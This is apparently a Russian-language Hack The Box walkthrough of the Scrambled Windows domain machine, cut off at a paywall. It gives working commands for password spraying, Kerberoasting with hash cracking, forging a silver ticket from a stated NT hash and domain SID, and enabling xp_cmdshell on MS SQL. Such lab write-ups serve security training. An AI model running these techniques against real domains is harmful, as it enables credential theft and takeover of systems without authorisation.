Содержание статьи
Наша цель — захват тренировочной машины Scrambled с площадки Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
, чтобы к ней было удобнее обращаться:
10.10.11.168 scrambled.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашлось много открытых портов, что типично для Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC), используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 1433 — СУБД Microsoft SQL Server 2019;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 4411 — какое‑то пользовательское приложение;
- 5985 — служба WinRM;
- 9389 — веб‑службы AD DS.
Все перечисленные службы Microsoft пока что ничего нам дать не могут, поэтому первым делом смотрим сайт.
Сразу отмечаем полезную информацию: аутентификация NTLM отключена.
Точка входа
OSINT
На одной из страниц находим скриншот консоли, а в нем видно пользователя ksimpson. Это очень важная информация!
На другой странице отмечаем инструкцию к ПО, работающему на порте 4411. Здесь обратим внимание на имя сервера и домен — dc1.
. Соответствующие записи добавляем в файл /
.
10.10.11.168 scrambled.htb dc1.scrm.local scrm.local
А также находим информацию о том, что имя пользователя может выступить в качестве пароля.
Kerberos
Мы можем отправить запрос ASREP, существует ли тот или иной аккаунт. Есть возможность запросить ключ (AS key) Kerberos этого пользователя, ключ будет зашифрован с помощью его пароля. Но дело в том, что сервер различает ответы «данный флаг не установлен» и «учетная запись не существует». А значит, если пройдемся по именам пользователей и для какого‑то нам ответят, что флаг не установлен, мы узнаем, что эта учетка существует. Сделать такой перебор можно с помощью инструмента GetNPUsers из пакета impacket. Имя пользователя у нас уже есть.
GetNPUsers.py scrm.local/ksimpson -no-pass
Нам ответили, что флаг не установлен, а значит, учетная запись существует. Теперь с помощью kerbrute проверим пароль пользователя.
kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.local users.txt ksimpson
Учетные данные оказались верны, поэтому мы можем запросить тикет пользователя и применить его как аутентификатор, вместо пароля. В этом нам поможет скрипт getTGT из того же impacket.
impacket-getTGT scrm.local/ksimpson:ksimpson
Экспортируем полученный тикет и подключаемся к службе SMB. Чтобы удалось аутентифицироваться, время на твоем хосте и на сервере должно отличаться не больше чем на пять минут. Поэтому стоит обновить локальное время по протоколу NTP.
sudo ntpdate scrm.local
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient -k scrm.local/ksimpson@dc1.scrm.local -no-pass
Командой shares
получаем список ресурсов.
Точка опоры
Пройдясь по каталогам, успешно заходим в Public
.
use Pablic
Там находим всего один документ. Скачиваем его командой get <
. В самом документе рассказано о недавнем взломе службы MS SQL.
Kerberoasting
Раз мы имеем дело с MS SQL, значит, можем выполнить атаку Kerberoasting. Ее цель — собрать билеты TGS для служб, которые запускаются от имени пользователей, а не от системных учеток. Тикеты TGS зашифрованы ключами, полученными из паролей пользователей, а значит, их данные можно взломать простым перебором. Уязвимые учетные записи определим по полю SPN, которое не будет пустым. Выполним запрос TGS с помощью скрипта GetUserSPNs из все того же impacket.
GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host dc1.scrm.local -request -k -no-pass
Теперь сохраним тикет в файл и отдадим JTR для перебора. Пароль учетной записи получим очень быстро.
john sqlsvc.hash --wordlist=rockyou.txt
Silver Ticket
Мы получили пароль службы, и, чтобы с ней работать, следующим шагом должно быть получение «серебряного билета». Silver ticket — это реальный билет TGS для определенной службы, в котором используется NTLM пользователя. Он даст нам доступ к этой службе. Чтобы сгенерировать такой билет, нам нужно знать NTLM-хеш пароля и SID домена. SID домена получим из отладочной информации при выполнении impacket-secretsdump
.
impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass -debug
А хеш генерируем на сайте md5decrypt.net из полученного пароля.
А теперь генерируем билет.
ticketer.py -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200
Экспортируем созданный билет в рабочее окружение и подключаемся к службе MS SQL, используя аутентификацию Kerberos.
export KRB5CCNAME=Administrator.ccache
mssqlclient.py dc1.scrm.local -k -no-passSELECT name FROM master.dbo.sysdatabases
Продвижение
Пользователь SqlSvc
Перейдем к базе данных ScrambleHR
и получим из нее таблицы.
use ScrambleHRSELECT name FROM SYSOBJECTS WHERE xtype = 'U'
Нас интересует таблица пользователей UserImport
. Получаем все ее записи.
select * from UserImport
С найденными учетными данными подключиться никуда не удастся, поэтому попробуем получить управление через MS SQL. Первым делом нужно активировать xp_cmdshell
. Из нашего интерпретатора это можно сделать встроенной командой enable_xp_cmdshell
, после чего выполняем реконфигурацию.
enable_xp_cmdshellreconfigure
Теперь мы можем выполнять команды через xp_cmdshell
.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»